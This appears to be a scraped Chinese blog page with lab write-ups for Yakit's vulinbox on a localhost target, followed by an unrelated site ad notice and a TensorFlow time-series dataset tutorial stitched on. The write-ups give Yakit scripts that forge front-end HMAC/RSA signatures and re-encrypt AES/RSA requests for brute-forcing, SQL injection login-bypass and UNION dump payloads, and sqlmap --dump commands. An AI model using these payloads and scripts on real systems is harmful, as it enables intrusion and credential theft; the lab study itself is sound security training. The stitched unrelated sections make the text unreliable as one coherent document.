wenmo8 发布的文章

一、前端验签-SHA256

本文作者为CVE-柠檬i
CSDN:
https://blog.csdn.net/weixin_49125123
博客园:
https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

绕过

通过查看源代码可以看到key为

1234123412341234

通过查看源代码可以看到是通过SHA256来进行签名的,他把请求体的username和password字段提取,然后进行加密。

username=admin&password=admin123

使用CyberChef加密,最终得到加密值为:
fc4b936199576dd7671db23b71100b739026ca9dcb3ae78660c4ba3445d0654d

可以看到自己计算和前端计算的一致:

修改密码,重新构造签名:

username=admin&password=666666
=>
26976ad249c29595c3e9e368d9c3bc772b5a27291515caddd023d69421b7ffee

发送请求,可以看到验签成功,密码正确登陆成功,自此签名绕过成功。

POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json

{
  "signature": "26976ad249c29595c3e9e368d9c3bc772b5a27291515caddd023d69421b7ffee",
  "key": "31323334313233343132333431323334",
  "username": "admin",
  "password": "666666"
}

热加载

这是我写的热加载代码,通过
beforeRequest
劫持请求包,使用
encryptData
函数进行加密,最终实现热加载自动签名功能。

encryptData = (packet) => {
    body = poc.GetHTTPPacketBody(packet)
    params = json.loads(body)
    //获取账号和密码
    name = params.username
    pass  = params.password
    key = "31323334313233343132333431323334"    //十六进制密钥

    //HmacSha256加密
    signText = f`username=${name}&password=${pass}`
    sign = codec.EncodeToHex(codec.HmacSha256(f`${codec.DecodeHex(key)~}`, signText))

    //构造请求体
    result = f`{"username":"${name}","password":"${pass}","signature":"${sign}","key":"${key}"}`

    return string(poc.ReplaceBody(packet, result, false))
}

//发送到服务端修改数据包
// beforeRequest = func(req){
//     return encryptData(req)
// }

//调试用
packet = <<<TEXT
POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179

{"username":"admin","password":"admin123"}
TEXT
result = (encryptData(packet))
print(result)

调试结果如下:


beforeRequest
取消注释,添加到Web Fuzzer模块的热加载中:

保存后发送请求,热加载成功实现自动签名功能。

二、前端验签-SHA256+RSA

本文作者ärCVE-柠檬i
CSDN:
https://blog.csdn.net/weixin_49125123
博客园:
https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

绕过

根据提示可以看出这次签名用了SHA2556和RSA两个技术进行加密。

查看源代码可以看到RSA公钥是通过请求服务器获取:

请求一下:
http://127.0.0.1:8787/crypto/js/rsa/public/key
,可以看到公钥。

SHA256密钥位置:

Encrypt
方法:

function Encrypt(word) {
    console.info(word);
    return  KEYUTIL.getKey(pubkey).encrypt(CryptoJS.HmacSHA256(word, key.toString(CryptoJS.enc.Utf8)).toString()); 
}

KEYUTIL.getKey(pubkey).encrypt
是RSA1v15加密方法,在代码中可以看到先进行SHA265加密,然后再RSA加密。被加密的文本的格式同
上一关
所示。

使用CyberChef加密:

替换请求,可以看到签名构造成功:

热加载

这是我写的Yakit热加载代码,通过
beforeRequest
劫持请求包,使用
encryptData
函数进行加密,
getPubkey
获取公钥,最终实现热加载自动签名功能。

getPubkey = func() {
    //通过请求动态获取公钥
    rsp, req = poc.HTTP(`GET /crypto/js/rsa/public/key HTTP/1.1
Host: 127.0.0.1:8787

    `)~
    body = poc.GetHTTPPacketBody(rsp) // 响应体
    return body
}

encryptData = (packet) => {
    body = poc.GetHTTPPacketBody(packet)
    params = json.loads(body)
    name = params.username
    pass = params.password
    key = "31323334313233343132333431323334"
    pemBytes = getPubkey() // 获取公钥

    signText = f`username=${name}&password=${pass}`
    sha256sign = codec.EncodeToHex(codec.HmacSha256(f`${codec.DecodeHex(key)~}`, signText)) // SHA256加密
    rsaSign = codec.EncodeToHex(codec.RSAEncryptWithPKCS1v15(pemBytes /*type: []byte*/, sha256sign)~) // RSA加密

    body = f`{"username":"${name}","password":"${pass}","signature":"${rsaSign}","key":"${key}"}`
    return string(poc.ReplaceBody(packet, body, false))
}


//发送到服务端修改数据包
// beforeRequest = func(req){
//     return encryptData(req)
// }

//调试用
packet = <<<TEXT
POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179

{"username":"admin","password":"password"}
TEXT
result = (encryptData(packet))
print(result)

这次不调试了,直接请求看看效果,成功热加载自动签名:

插入临时字典爆破,可以看到正确密码为admin123。

三、CryptoJS.AES(CBC) 前端加密登陆表单

本文作者isCVE-柠檬i
CSDN:
https://blog.csdn.net/weixin_49125123
博客园:
https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

分析

查看源代码,可以看到加密方式为AES,查询网上资料得知,此encrypt方法默认为CBC模式。

key为:
1234123412341234

iv为随机生成的:

将用户名和密码以json的格式进行AES加密

使用CyberChef加密

替换请求data内容,验证成功。

POST /crypto/js/lib/aes/cbc/handler HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 169

{
  "data": "2/eylw258wQNJQznPd5zr7xpNWzPR3vcgCmY3zwuTdW0WjSwbNzAhTraiebLdPRK",
  "key": "31323334313233343132333431323334",
  "iv": "67ba30beaabf8ccfebeca655d487805a"
}

热加载

这是本人写的Yakit热加载代码,通过
beforeRequest
劫持请求包,使用
encryptData
函数进行加密,最终实现热加载自动加密功能。

encryptData = (packet) => {
    body = poc.GetHTTPPacketBody(packet)

    hexKey = "31323334313233343132333431323334"
    hexIV = "67ba30beaabf8ccfebeca655d487805a"
    key = codec.DecodeHex(hexKey)~
    iv = codec.DecodeHex(hexIV)~

    data = codec.AESCBCEncrypt(key /*type: []byte*/, body, iv /*type: []byte*/)~
    data = codec.EncodeBase64(data)

    body = f`{"data": "${data}","key": "${hexKey}","iv": "${hexIV}"}`
    return string(poc.ReplaceBody(packet, body, false))
}

//发送到服务端修改数据包
beforeRequest = func(req){
    return encryptData(req)
}

效果:

四、CryptoJS.AES(ECB) 前端加密登陆表单

本文作者はCVE-柠檬i
CSDN:
https://blog.csdn.net/weixin_49125123
博客园:
https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

分析

模式变为AES的ECB模式,其他的与CBC模式基本一样。

zqBATwKGlf9ObCg8Deimijp+OH1VePy6KkhV1Z4xjiDwOuboF7GPuQBCJKx6o9c7

热加载

功能跟上面大致一样。ECB模式不需要iv,修改成ECB加密,然后删除掉iv相关代码即可。

encryptData = (packet) => {
    body = poc.GetHTTPPacketBody(packet)

    hexKey = "31323334313233343132333431323334"
    key = codec.DecodeHex(hexKey)~

    //ECB模式加密
    data = codec.AESECBEncrypt(key /*type: []byte*/, body, nil /*type: []byte*/)~
    data = codec.EncodeBase64(data)

    body = f`{"data": "${data}","key": "${hexKey}"}`
    return string(poc.ReplaceBody(packet, body, false))
}

//发送到服务端修改数据包
// beforeRequest = func(req){
//     return encryptData(req)
// }

//调试用
packet = <<<TEXT
POST /crypto/js/lib/aes/cbc/handler HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179

{"username":"admin","password":"admin123"}
TEXT
result = (encryptData(packet))
print(result)

成功加密

五、CryptoJS.AES(ECB) 被前端加密的 SQL 注入

本文作者éCVE-柠檬i
CSDN:
https://blog.csdn.net/weixin_49125123
博客园:
https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

绕过

SQL注入

前端代码和
上一关
一样,都是通过AES加密请求的数据。


yaklang\common\vulinbox\db.go
中可以看到相关后端代码:

数据库是SQLite类型,username参数是直接拼接查询的,所以存在SQL注入漏洞。

登录绕过

yaklang\common\vulinbox\vul_cryptojs_base.go

密码在第87行被赋值,密码是通过上面的
GetUserByUsernameUnsafe
获取的

输入
{"username":"admin","password":"666666"}
的SQL语句

select * from vulin_users where username = 'admin';

输入
{"username":"admin'or 1=1--","password":"666666"}
的SQL语句

select * from vulin_users where username = 'admin'or 1=1--';

相当于:

select * from vulin_users where true;

所以返回结果为表中的所有数据。

所以用户名随便输,密码输入表中存在的随意一个密码就能登陆成功:

sqlmap

使用Yakit的MITM 交互式劫持,热加载写上AES加密的代码

encryptData = (packet) => {
    body = poc.GetHTTPPacketBody(packet)
    hexKey = "31323334313233343132333431323334"
    key = codec.DecodeHex(hexKey)~
    data = codec.AESECBEncrypt(key /*type: []byte*/, body, nil /*type: []byte*/)~
    data = codec.EncodeBase64(data)
    body = f`{"data": "${data}","key": "${hexKey}"}`
    return string(poc.ReplaceBody(packet, body, false))
}
beforeRequest = func(req){
    return encryptData(req)
}

1.txt

POST /crypto/js/lib/aes/ecb/handler/sqli HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json

{"username":"admin","password":"admin"}

运行sqlmap

python .\sqlmap.py -r .\1.txt --proxy=http://127.0.0.1:8081 --batch -T vulin_users  -C username,password,role --dump

注入成功

六、CryptoJS.AES(ECB) 被前端加密的 SQL 注入(Bypass认证)

本文作者esCVE-柠檬i
CSDN:
https://blog.csdn.net/weixin_49125123
博客园:
https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

绕过

这个前端代码与前面的还是一样的,都是AES ECB加密。

后端代码如下,可以看到查询语句在109行,用户名和密码都是直接拼接查询的。

SQL注入跟上面的操作一样,这里就不演示了,这里直接用热加载绕过登录。

POST /crypto/js/lib/aes/ecb/handler/sqli/bypass HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json

{"username":"admin'or 1=1--","password":""}

七、AES-ECB 加密表单(附密码)

同 CryptoJS.AES(ECB) 前端加密登陆表单。

八、RSA:加密表单,附密钥

本文作者istCVE-柠檬i
CSDN:
https://blog.csdn.net/weixin_49125123
博客园:
https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

分析

generateKey
函数用来生成随机的RSA公私钥

加密的格式如下:

{"username":"admin","password":"123456","age":"20"}

对数据进行RSA加密,请求包格式:

热加载

这是本人写的Yakit热加载代码,通过
beforeRequest
hook请求包,调用
encrypt
函数进行加密,最终实现热加载自动加密功能。由于密钥是从前端获取,所以直在在热加载里生成了。

encrypt = (packet) => {
    //生成RSA密钥
    publicKey, privateKey = tls.GenerateRSA2048KeyPair()~
    //base64编码
    publicKeyBase64 = codec.EncodeBase64(publicKey)
    privateKeyBase64 = codec.EncodeBase64(privateKey)

    body = poc.GetHTTPPacketBody(packet)
    data = codec.RSAEncryptWithOAEP(publicKey /*type: []byte*/, body)~ // RSA加密
    data = codec.EncodeBase64(data)
    
    //处理换行符
    publicKey = str.ReplaceAll(publicKey, "\n", r"\n")
    privateKey = str.ReplaceAll(privateKey, "\n", r"\n")

  	 //构造请求体
    body = f`{"data":"${data}","publicKey":"${publicKey}","publicKeyBase64":"${publicKeyBase64}","privateKey":"${privateKey}","privateKeyBase64":"${privateKeyBase64}"}`
    
    return string(poc.ReplaceBody(packet, body, false))
}

//发送到服务端修改数据包
beforeRequest = func(req){
    return encrypt(req)
}

效果:

使用字典爆破,爆破成功,可以看到密码为admin123。

九、RSA:加密表单服务器传输密钥

本文作者हैCVE-柠檬i
CSDN:
https://blog.csdn.net/weixin_49125123
博客园:
https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

分析

这里的代码跟上一关的类似,但是加密的公钥是通过请求服务端获取的

http://127.0.0.1:8787/crypto/js/rsa/generator

由于密钥是服务端生产的,服务端有公私钥信息,所以自然不需要传递公私钥了。

请求格式如下,只有被加密的内容:

序列+热加载

序列

打开Yakit的Web Fuzzer,点击左侧的序列

选择从服务端获取密钥的那个数据包

使用数据提取器提取公钥

提取结果正常:

再添加序列:

先把请求体置空,编写热加载代码

热加载

本来之前写的是请求体格式跟上一关一样,然后在热加载里请求来获取密钥,缺点也显而易见,每次登录请求都会多出了一个请求公钥的数据包,所以最后选择用Yakit的序列配合热加载标签传参来加密。

由于Yakit热加载标签只能传一个参数,这里感谢Yakit群群友
Gun
的帮助,给了我一个手动分割参数的函数。

把序列第一个请求提取到的
publicKey
变量和需要加密的数据传过去,由
splitParams
分割,然后传参给
encrypt
进行RSA加密。

序列格式:

{{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"admin123","age":"20"})}}

热加载代码:

encrypt = (pemPublic, data) => {
    data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~
    data = codec.EncodeBase64(data)
    body = f`{"data":"${data}"}`
    return body
}

//分割传过来的参数,每个参数中间以|分隔
splitParams = (params) => {
    pairs := params.SplitN("|", 2)
    return encrypt(pairs[0], pairs[1])
}

执行序列,爆破成功,使用序列的好处就是只获取一次公钥即可。

之前的代码:

弃用代码,就不做解释了。

getPubkey = func(host) {
    //通过请求动态获取公钥
    rsp, req = poc.HTTP(f`GET /crypto/js/rsa/generator HTTP/1.1
Host: ${host}

    `)~
    body = poc.GetHTTPPacketBody(rsp) // 响应体
    params = json.loads(body)
    publicKey = str.ReplaceAll(params.publicKey, r"\n", "\n")
    println(publicKey)
    return publicKey
}

encryptData = (packet) => {
    body = poc.GetHTTPPacketBody(packet)
    host = poc.GetHTTPPacketHeader(packet, "Host")
    pemBytes = getPubkey(host) // 获取公钥
    println(pemBytes)

    data = codec.RSAEncryptWithOAEP(pemBytes /*type: []byte*/, body)~
    data = codec.EncodeBase64(data)

    body = f`{"data":"${data}"}`
    return string(poc.ReplaceBody(packet, body, false))
}


//发送到服务端修改数据包
// beforeRequest = func(req){
//     return encryptData(req)
// }

//调试用
packet = <<<TEXT
POST /crypto/js/rsa/fromserver HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179

{"username":"admin","password":"123456","age":"20"}
TEXT
result = (encryptData(packet))
print(result)

十、RSA:加密表单服务器传输密钥+响应加密

本文作者естьCVE-柠檬i
CSDN:
https://blog.csdn.net/weixin_49125123
博客园:
https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

分析

这里的公私钥同上一关一样是通过服务端获取

通过查看响应包可以看到,data字段被加密了,当然这里我已经知道了data字段和origin字段的内容是一样的,下面来看看该如何编写热加载代码吧。

序列+热加载

方法1(固定私钥)

这里跟上一关一样选择Web Fuzzer的序列功能。

数据提取器提取公私钥

由于
afterRequest
函数无法获取到参数,所以在代码里写死了私钥内容来解密响应包。

热加载代码:

var PRIVATE_KEY = `这里填私钥内容(可换行)`

decryptData = (packet) => {
    body = poc.GetHTTPPacketBody(packet) // 获取响应包体
    jsonBody = json.loads(body) // 转为map格式

    //解密数据
    data = codec.DecodeBase64(json.loads(body).data)~
    data = codec.RSADecryptWithOAEP(PRIVATE_KEY/*type: bytes*/, data/*type: any*/)~
    data = string(data)

    // 使用JsonPath定位,替换json中的data
    body = json.ReplaceAll(jsonBody, "$..data", data)
    // 转为json格式
    body = json.dumps(body, json.withIndent("   "))
    // 替换正则匹配结果(可省略)
    pattern := `\\`
    body = re.ReplaceAll(body, pattern, "")

    return poc.ReplaceBody(packet, body/*type: bytes*/, false/*type: bool*/)
}

encryptData = (pemPublic, data) => {
    data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~
    data = codec.EncodeBase64(data)
    body = f`{"data":"${data}"}`
    return body
}

//分割参数的函数
splitParams = (params) => {
    pairs := params.SplitN("|", 2)
    return encryptData(pairs[0], pairs[1])
}

// 修改响应包
afterRequest = func(rsp){
    return decryptData(rsp)
}

请求格式:

POST /crypto/js/rsa/fromserver/response HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json

{{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"admin23","age":"20"})}}

下图为效果图,响应包的data字段的值被解密后的数据替换。

方法2(使用mirrorHTTPFlow)

在这一关(响应加密)和下一关(RSA加密AES密钥)解密过程中,我一直都在寻找如何才能把数据提取器提取到的
privateKey
传参到
beforeRequest

afterRequest
这类函数中,以达到修改数据包的目的。

从前端验签与加解密学习Yakit中WebFuzzer热加载
。在这篇文章中学到了可以使用序列,将前两个序列提取到的key和数据,在第三个序列当做请求内容,解密后发送过去,这样也算是一种变相的完成了解密,但是这个方法感觉不太优雅,需要多一个额外的请求包。

这是当时测试的图片:

然后在 Yak Project官方公众号的
文章
中终于看到了一个函数,
mirrorHTTPFlow
可以解决这个问题,虽然不能直接替换响应包,但会出现在提取数据中。由于官方文档没有具体讲解这个函数,所以它的具体功能现在还不太清楚。

热加载代码:

//加密函数
encrypt = (pemPublic, data) => {
    data = codec.RSAEncryptWithOAEP(pemPublic /*type: []byte*/, data)~
    data = codec.EncodeBase64(data)
    body = f`{"data":"${data}"}`
    return body
}

//分割参数的函数
splitParams = (params) => {
    pairs := params.SplitN("|", 2)
    return encrypt(pairs[0], pairs[1])
}

mirrorHTTPFlow = (req, rsp, params) => {
    // 获取私钥以解密响应数据
    pem = params.privateKey
    
    // 切割响应中的数据,作为 JSON 加载
    _, body = poc.Split(rsp)
    body = json.loads(body)
    
    // 解密data
    data = codec.DecodeBase64(body.data)~
    data = codec.RSADecryptWithOAEP(pem, data)~
    
    return string(data)
}

请求包格式:

POST /crypto/js/rsa/fromserver/response HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json

{{yak(splitParams|{{p(publicKey)}}|{"username":"admin","password":"123","age":"20"})}}

效果如下图,可以看到解密后的data出现在了提取内容中。

爆破成功,但是看不到请求的原始密码,由于太累了懒得解决这个问题,啥时候闲了再说吧。

十一、前端RSA加密AES密钥,服务器传输

本文作者هوCVE-柠檬i
CSDN:
https://blog.csdn.net/weixin_49125123
博客园:
https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

由于RSA加解密有长度限制,以及解密速度等问题,所以如https等协议都是用非对称加密对称加密的密钥,然后用对称加密算法来加密数据。本关卡就是用RSA来加密AES的key和iv,用AES来加密表单数据。

分析

直接Submit,观察数据包发现请求包和响应包AES加密的key和iv都被加密了。

查看源码,RSA的key是通过请求
/crypto/js/rsa/generator
路径获取的

AES的加密方法为AES-GCM

流程图如下:

graph TD;
A[开始] --> B(加载页面);
B --> C{获取RSA密钥对};
C -- 是 --> D(从服务器获取公钥和私钥);
D --> E(将PEM格式的公钥和私钥转换为CryptoKey对象);
E --> F(生成随机AES密钥与IV);
F --> G(使用RSA-OAEP加密AES密钥与IV);
G --> H(使用Encrypt函数用AES-GCM方式加密提交的数据);
H --> I(发送加密数据到服务器);
I --> J(接收服务器响应);
J --> K(使用Decrypt函数用RSA与AES-GCM解密接收的数据);
K --> L(显示解密后的数据);

序列+热加载

本文和上一关遇到一样的问题,本来打算用第三个请求来解密响应包的,最后选择了使用
mirrorHTTPFlow
函数来解密。

上一关中只能看到登陆成功,但不知道账号密码是什么。这次写了个解密函数解密请求包,不管怎么说,能跑就行。

热加载代码如下:

// RSA-OAEP 加密
rsaEncrypt = (pem, data) => {
    data = codec.RSAEncryptWithOAEP(pem, data)~
    data = codec.EncodeBase64(data)
    return data
}
// AES-GCM 加密
aesEncrypt = (key, iv, data) => {
    encryptedData = codec.AESGCMEncryptWithNonceSize12(key, data, iv)~
    encryptedData = codec.EncodeBase64(encryptedData)
    return encryptedData
}
// 分割参数的函数
splitParams = (params) => {
    pairs := params.SplitN("|", 2)
    return pairs
}
// 主函数
encrypt = (params) => {
    pairs := splitParams(params)
    key =  randstr(16)
    iv = randstr(12)
    data = aesEncrypt(key, iv, pairs[1])
    encryptIV = rsaEncrypt(pairs[0], iv)
    encryptKey = rsaEncrypt(pairs[0], key)

    body = f`{"data":"${data}","iv":"${iv}","encryptedIV":"${encryptIV}","encryptedKey":"${encryptKey}"}`
    return body
}
// 解密函数
mirrorHTTPFlow = (req, rsp, params) => {
    // 获取私钥
    pem = params.privateKey
    
    // 切割响应中的数据,作为 JSON 加载
    body = json.loads(poc.GetHTTPPacketBody(rsp))
    
    // 提取 IV、KEY 和 DATA
    data = body.data
    iv = body.encryptedIV
    key = body.encryptedKey
    
    // 使用 RSA-OAEP 解密 IV 和 KEY
    iv = codec.RSADecryptWithOAEP(pem, codec.DecodeBase64(iv)~)~
    key = codec.RSADecryptWithOAEP(pem, codec.DecodeBase64(key)~)~
    
    // 使用 AES-GCM 解密
    data = codec.AESGCMDecryptWithNonceSize12(key, codec.DecodeBase64(data)~, iv)~
    return string(data)
}

使用Yakit的序列功能,效果如下,在提取数据中显示了未加密的请求和响应的内容:

爆破效果:

十二、SQL 注入(从登陆到 Dump 数据库)

本文作者คือCVE-柠檬i
CSDN:
https://blog.csdn.net/weixin_49125123
博客园:
https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

登录

输入账号密码,抓包查看数据包,看上去就是一个普通的aes加密:

这里热加载代码不算太难,常规的加解密函数就可以了:

encryptAES = (packet) => {
    body = poc.GetHTTPPacketBody(packet)
    // 生成随机key和iv
    key =  randstr(16)
    iv = randstr(12)
    // 加密数据
    data = codec.AESCBCEncrypt(key /*type: []byte*/, body, iv /*type: []byte*/)~
    data = codec.EncodeBase64(data)
    // 获取key和iv的hex值
    hexKey = codec.EncodeToHex(key)
    hexIV = codec.EncodeToHex(iv)
    // 构造新的body
    body = f`{"key": "${hexKey}","iv": "${hexIV}","message": "${data}"}`

    return poc.ReplaceBody(packet, body, false)
}

decryptAES = (packet) => {
    body = poc.GetHTTPPacketBody(packet)
    body = json.loads(body)
    key = codec.DecodeHex(body.key)~
    iv = codec.DecodeHex(body.iv)~
    data = codec.DecodeBase64(body.message)~
    data = codec.AESCBCDecrypt(key, data, iv)~
    return poc.ReplaceBody(packet, data, false)
}

beforeRequest = func(req){
    return encryptAES(req)
}
afterRequest = func(rsp){
    return decryptAES(rsp)
}

请求体格式

{"username":"admin","password":"password"}

热加载加解密成功

本关提示是SQL注入,所以直接啪一个1=1,说时迟那时快,直接登陆成功

POST /crypto/sqli/aes-ecb/encrypt/login HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json

{"username":"admin","password":"password'or 1=1--"}

注入

手工

登陆后看到请求了
/crypto/sqli/aes-ecb/encrypt/query/users
路径

解密一下请求包:

获取到请求的格式:

{"search":""}

这里是SQLite注入,注入的语句是通过这篇文章获取的:
sqlite注入的一点总结 - 先知社区 (aliyun.com)

{"search":"user1'order by 3--"}
{"search":"user1'union select 1,2,3--"}
{"search":"user1'union select 11,22,sql from sqlite_master--"}
{"search":"user1'union select 11,22,sql from sqlite_master where type='table' and name='vulin_users'--"}
{"search":"user1'union select username,password,id from vulin_users--"}

注入成功:

POST /crypto/sqli/aes-ecb/encrypt/query/users HTTP/1.1
Host: 127.0.0.1:8787
Cookie: token=PLNqoZMZfiELLLFuTbmOtSrDdnpFmDDM
Content-Type: application/json
Content-Length: 119

{"search":"user1'union select username,password,id from vulin_users--"}

sqlmap

在MITM处加载热加载代码

使用sqlmap注入

python .\sqlmap.py -r .\http.txt --proxy=http://127.0.0.1:8081 --batch -dbms=sqlite -T vulin_users -C username,password,role --dump

http.txt

POST /crypto/sqli/aes-ecb/encrypt/query/users HTTP/1.1
Host: 127.0.0.1:8787
Cookie: token=PLNqoZMZfiELLLFuTbmOtSrDdnpFmDDM
Content-Type: application/json
Content-Length: 119

{"search":"*"}

效果:

2024年最后9天,我们要在全站满园投放一个广告,请大家理解。

这是今年12月接到的对明年第一季度收入最重要的一个广告单子。

这个单子是字节跳动投放的AI工具广告,其中包含2个广告内容。

一个是豆包AI工具,
立即体验

一个是豆包 MarsCode 编程助手,
立即体验

广告方式是 CPA(Cost Per Action),完成一个有效 Action 才算。

豆包AI工具需要完成与AI的交互,比如问个问题。

MarsCode 编程助手需要注册账号并在 VSCode 或者 JetBrains IDE 开发工具上安装插件并完成交互操作,也可以直接通过网页版 MarsCode IDE 在线体验,体验前请一定要先通过园子的
专属链接
注册账号。

欢迎豆包来园广告!欢迎您体验
豆包AI工具
,用它来神奇提效!欢迎您体验
MarsCode
编程助手,用它来激发创造!

上一篇:《预测大师的秘籍:揭开时间序列的真相》

序言:一章介绍了序列数据以及时间序列的特性,包括季节性、趋势、自相关性和噪声。你创建了一个用于预测的合成序列,并探索了基本的统计预测方法。在接下来的章节中,你将系统地学习如何利用人工智能模型(机器学习模型)进行时间序列预测。这包括:数据集的创建、模型的构建、模型的训练与测试、架构的验证,以及通过调整超参数优化模型性能。这一篇则主要与大家共同回顾如何创建数据集。

要理解为什么需要这样做,请考虑你在第前几篇中创建的时间序列。图10-1展示了它的一个图表。


图10-1:合成时间序列

如果在某一时刻你想预测时间点 ttt 的值,你需要将其视为时间点 ttt 之前的值的函数。例如,假设你想预测时间步 1200 的时间序列值,它是之前30个值的函数。在这种情况下,从时间步 1170 到 1199 的值将决定时间步 1200 的值,如图10-2所示。

                                          图10-2:前序值对预测的影响

现在这开始变得熟悉了:你可以将1170–1199的值视为特征,而将1200的值视为标签。如果你能让你的数据集达到一种状态,使得有一定数量的值作为特征,而紧随其后的一个值作为标签,并对数据集中每个已知值执行这样的操作,你最终将得到一组相当不错的特征和标签,可用于训练模型。

在对第前几篇的时间序列数据集执行这个操作之前,让我们先创建一个非常简单的数据集,它具备相同的属性,但数据量小得多。

创建窗口化数据集

tf.data 库提供了许多对数据操作非常有用的 API。你可以使用这些 API 来创建一个包含数字 0 到 9 的基本数据集,模拟一个时间序列。然后将其转换为一个初步的窗口化数据集。代码如下:

dataset = tf.data.Dataset.range(10)

dataset = dataset.window(5, shift=1, drop_remainder=True)

dataset = dataset.flat_map(lambda window: window.batch(5))

for window in dataset:

print(window.numpy())

首先,它使用 range 创建数据集,这个方法简单地生成一个包含从 0 到 n−1n - 1n−1 的数据集,这里 n=10n = 10n=10。

接着,通过调用 dataset.window 并传入参数 5,指定将数据集分割成包含五个元素的窗口。指定 shift=1 表示每个窗口将相对于前一个窗口向后移动一个位置:第一个窗口包含从 0 开始的五个元素,第二个窗口包含从 1 开始的五个元素,依此类推。设置 drop_remainder=True 指定在数据集接近尾部时,如果窗口大小小于指定的五个元素,则这些窗口会被丢弃。

根据窗口定义,数据集的分割过程可以进行。你可以通过 flat_map 函数完成这个操作,在本例中请求一个包含五个窗口的批次。运行上述代码将得到以下结果:

[0 1 2 3 4]

[1 2 3 4 5]

[2 3 4 5 6]

[3 4 5 6 7]

[4 5 6 7 8]

[5 6 7 8 9]

但是之前提到过,我们想从中生成训练数据,其中 nnn 个值定义一个特征,而后续的一个值作为标签。你可以通过添加另一个 lambda 函数,将每个窗口分割成最后一个值之前的所有值(特征)和最后一个值(标签)。这会生成一个 xxx 和 yyy 数据集,如下所示:

dataset = tf.data.Dataset.range(10)

dataset = dataset.window(5, shift=1, drop_remainder=True)

dataset = dataset.flat_map(lambda window: window.batch(5))

dataset = dataset.map(lambda window: (window[:-1], window[-1:]))

for x, y in dataset:

print(x.numpy(), y.numpy())

结果如下,符合你的预期:窗口中的前四个值可以被视为特征,而后续的一个值则是标签:

[0 1 2 3] [4]

[1 2 3 4] [5]

[2 3 4 5] [6]

[3 4 5 6] [7]

[4 5 6 7] [8]

[5 6 7 8] [9]

由于这是一个数据集,它还支持通过 lambda 函数进行随机打乱和批处理。下面是将数据集随机打乱,并设置批次大小为 2 的代码:

dataset = tf.data.Dataset.range(10)

dataset = dataset.window(5, shift=1, drop_remainder=True)

dataset = dataset.flat_map(lambda window: window.batch(5))

dataset = dataset.map(lambda window: (window[:-1], window[-1:]))

dataset = dataset.shuffle(buffer_size=10)

dataset = dataset.batch(2).prefetch(1)

for x, y in dataset:

print("x = ", x.numpy())

print("y = ", y.numpy())

结果如下:第一个批次有两组 xxx(分别从 2 和 3 开始),以及它们的标签;第二个批次有两组 xxx(分别从 1 和 5 开始),以及它们的标签,依此类推:

x = [[2 3 4 5]

[3 4 5 6]]

y = [[6]

[7]]

x = [[1 2 3 4]

[5 6 7 8]]

y = [[5]

[9]]

x = [[0 1 2 3]

[4 5 6 7]]

y = [[4]

[8]]

通过这种技术,你现在可以将任何时间序列数据集转换为一个神经网络的训练数据集。在下一节中,你将学习如何从第九章的合成数据中创建一个训练集。接下来,你将构建一个简单的 DNN,使用这些数据进行训练,并用于预测未来的值。

创建时间序列数据集的窗口化版本

回顾一下,这是上一章中用来创建一个合成时间序列数据集的代码:

def trend(time, slope=0):

return slope * time

def seasonal_pattern(season_time):

return np.where(season_time < 0.4,

np.cos(season_time * 2 * np.pi),

1 / np.exp(3 * season_time))

def seasonality(time, period, amplitude=1, phase=0):

season_time = ((time + phase) % period) / period

return amplitude * seasonal_pattern(season_time)

def noise(time, noise_level=1, seed=None):

rnd = np.random.RandomState(seed)

return rnd.randn(len(time)) * noise_level

time = np.arange(4 * 365 + 1, dtype="float32")

series = trend(time, 0.1)

baseline = 10

amplitude = 20

slope = 0.09

noise_level = 5

series = baseline + trend(time, slope)

series += seasonality(time, period=365, amplitude=amplitude)

series += noise(time, noise_level, seed=42)

这段代码会生成一个类似于图 10-1 的时间序列。如果你想修改它,可以随意调整各个常量的值。

当你拥有了这个序列后,可以使用类似上一节中的代码将其转换为窗口化数据集。下面是一段独立定义的函数:

def windowed_dataset(series, window_size, batch_size, shuffle_buffer):

dataset = tf.data.Dataset.from_tensor_slices(series)

dataset = dataset.window(window_size + 1, shift=1, drop_remainder=True)

dataset = dataset.flat_map(lambda window: window.batch(window_size + 1))

dataset = dataset.shuffle(shuffle_buffer).map(

lambda window: (window[:-1], window[-1]))

dataset = dataset.batch(batch_size).prefetch(1)

return dataset

需要注意的是,这里使用了 tf.data.Dataset 的 from_tensor_slices 方法,该方法可以将一个序列转换为 Dataset。关于这个方法的更多信息可以参考 TensorFlow 文档。

现在,要生成一个可以用于训练的数据集,你可以简单地使用以下代码。首先,将序列拆分为训练集和验证集,然后指定窗口大小、批量大小以及随机缓冲区大小:

split_time = 1000

time_train = time[:split_time]

x_train = series[:split_time]

time_valid = time[split_time:]

x_valid = series[split_time:]

window_size = 20

batch_size = 32

shuffle_buffer_size = 1000

dataset = windowed_dataset(x_train, window_size, batch_size, shuffle_buffer_size)

